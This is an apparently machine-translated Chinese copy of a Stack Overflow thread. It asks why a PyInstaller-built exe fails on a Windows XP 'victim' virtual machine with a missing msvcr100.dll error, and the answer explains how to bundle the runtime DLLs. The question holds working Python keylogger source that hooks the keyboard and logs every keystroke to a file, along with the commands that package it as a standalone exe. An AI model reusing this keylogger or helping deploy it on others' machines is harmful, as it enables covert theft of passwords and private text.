由Pyinstaller创建的exe在一台机器上运行,但在另一台机器上出错

时间:2016-07-04 19:02:31

标签: python windows dll pyinstaller

主机操作系统:Windows 10,64位

Python:版本2.7,32位

对于道德黑客,我正在关注视频,other questions

我根据视频创建了代码,

import pyHook, pythoncom, sys, logging

file_log = 'C:\\Lets_Create_Malware\\log.txt'

def OnKeyboardEvent (event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

然后我使用Pyinstaller转换为.exe,即

pyinstaller --debug --onefile --noupx keylogger.pyw

.exe 可以在我的计算机上运行,即Windows 10,64位。

然而,当我在Windows XP,32位(vmware上的虚拟机)上执行时,我收到错误

This application has failed to start because msvcr100.dll was not found. Re-installing the application may fix this problem

同样,代码用于个人网络上的道德黑客攻击。在Windows XP上安装msvcr100.dll(“受害者”机器)不是一种选择。

  1. 如何使用pyinstaller

  2. 捆绑msvcr100.dll
  3. 如何使用pyinstaller

  4. 捆绑所有可能的dll等

    谢谢

    更新

    我尝试在所有Windows DLL中包含目录,但它不起作用,即大错误消息

    pyinstaller --debug --onefile --noupx C:\Windows\System32\*.dll keylogger.pyw

    更新

    这是调试输出。它查找msvcp90.dll,但不查找`msvcr100.dll

    如何解决?

    c:\Python27\Malware>pyinstaller --debug --onefile --noupx keylogger.pyw
    116 INFO: PyInstaller: 3.2
    116 INFO: Python: 2.7.12
    116 INFO: Platform: Windows-10-10.0.10586
    116 INFO: wrote c:\Python27\Malware\keylogger.spec
    131 INFO: UPX is not available.
    131 INFO: Extending PYTHONPATH with paths
    ['c:\\Python27\\Malware', 'c:\\Python27\\Malware']
    131 INFO: checking Analysis
    131 INFO: Building Analysis because out00-Analysis.toc is non existent
    131 INFO: Initializing module dependency graph...
    148 INFO: Initializing module graph hooks...
    185 INFO: running Analysis out00-Analysis.toc
    185 INFO: Adding Microsoft.VC90.CRT to dependent assemblies of final executable
      required by c:\python27\python.exe
    286 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.1_none_8550c6b5d18a9128.manifest
    286 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4148_none_f47e1bd6f6571810.manifest
    286 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_f480bfaef65491a5.manifest
    301 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9177_none_f4813cfaf6543c37.manifest
    386 INFO: Searching for assembly x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.30729.9177_none ...
    386 INFO: Found manifest C:\WINDOWS\WinSxS\Manifests\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9177_none_5093cc7abcb795e9.manifest
    402 INFO: Searching for file msvcr90.dll
    402 INFO: Found file C:\WINDOWS\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9177_none_5093cc7abcb795e9\msvcr90.dll
    402 INFO: Searching for file msvcp90.dll
    402 INFO: Found file C:\WINDOWS\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9177_none_5093cc7abcb795e9\msvcp90.dll
    402 INFO: Searching for file msvcm90.dll
    417 INFO: Found file C:\WINDOWS\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9177_none_5093cc7abcb795e9\msvcm90.dll
    502 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.1_none_8550c6b5d18a9128.manifest
    502 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4148_none_f47e1bd6f6571810.manifest
    517 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_f480bfaef65491a5.manifest
    517 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9177_none_f4813cfaf6543c37.manifest
    517 INFO: Adding redirect Microsoft.VC90.CRT version (9, 0, 21022, 8) -> (9, 0, 30729, 9177)
    5078 INFO: Caching module hooks...
    5085 INFO: Analyzing c:\Python27\Malware\keylogger.pyw
    6157 INFO: Loading module hooks...
    6157 INFO: Loading module hook "hook-pywintypes.py"...
    6331 INFO: Loading module hook "hook-encodings.py"...
    6715 INFO: Loading module hook "hook-pythoncom.py"...
    6907 INFO: Looking for ctypes DLLs
    6907 INFO: Analyzing run-time hooks ...
    6907 INFO: Looking for dynamic libraries
    16654 WARNING: Attempted to add Python module twice with different upper/lowercases: pyHook._cpyHook
    16657 INFO: Looking for eggs
    16657 INFO: Using Python library C:\WINDOWS\system32\python27.dll
    16662 INFO: Found binding redirects:
    [BindingRedirect(name=u'Microsoft.VC90.CRT', language=None, arch=u'x86', oldVersion=(9, 0, 21022, 8), newVersion=(9, 0, 30729, 9177), publicKeyToken=u'1fc8b3b9a1e18e3b')]
    16667 INFO: Warnings written to c:\Python27\Malware\build\keylogger\warnkeylogger.txt
    16713 INFO: checking PYZ
    16713 INFO: Building PYZ because out00-PYZ.toc is non existent
    16729 INFO: Building PYZ (ZlibArchive) c:\Python27\Malware\build\keylogger\out00-PYZ.pyz
    17083 INFO: checking PKG
    17084 INFO: Building PKG because out00-PKG.toc is non existent
    17085 INFO: Building PKG (CArchive) out00-PKG.pkg
    17113 INFO: Redirecting Microsoft.VC90.CRT version (9, 0, 21022, 8) -> (9, 0, 30729, 9177)
    18460 INFO: Bootloader c:\python27\lib\site-packages\PyInstaller\bootloader\Windows-32bit\run_d.exe
    18463 INFO: checking EXE
    18465 INFO: Building EXE because out00-EXE.toc is non existent
    18470 INFO: Building EXE from out00-EXE.toc
    18470 INFO: Appending archive to EXE c:\Python27\Malware\dist\keylogger.exe
    

1 个答案:

答案 0 :(得分:2)

您不必安装运行该程序所需的dll。然而,它们必须可用。这可以通过将它们包含在.exe文件所在的当前工作目录中来实现。

其他信息: 此处缺少的DLL是 Microsoft的Visual C ++ Redistributable运行时库的一部分。它们提供了一组支持已编译程序运行的可执行函数。他们被称为"可再分发的原因"编写程序的开发人员是否需要支付许可费才能将程序包含在程序中。现在让它们适合您的程序的简单方法是在程序中包含dll库的安装程序,这样您就不必弄清楚哪些DLL是必需的,哪些不是。这也意味着在系统上使用并且需要其中一个DLL的任何其他人的程序都将被设置为去。它也可能将库安装在以前安装的顶部作为其自身安装的一部分(如果它正在进行正式安装)但是系统上只有一组带有这些名称的DLL。

因此,如果您知道所有这些仍然不想安装库,那么您唯一的另一个选择是找出您的程序需要哪些DLL,逐个复制它们,因为错误消息告诉您哪个DLL是它缺少的下一个。在程序的工作目录中包含所需的DLL是将它们与程序捆绑在一起的另一种方法。它可能是两个,可能是一百个。当然,您可能只是将整个库复制到工作目录中,但在这种情况下,您可能刚刚在系统上安装了库。这是一个关于你在特定捆绑方式上设定了多少决心的问题。

以下是一个下载页面,如果你走的更容易(我认为你需要的是2010年):

  

https://support.microsoft.com/en-us/kb/2977003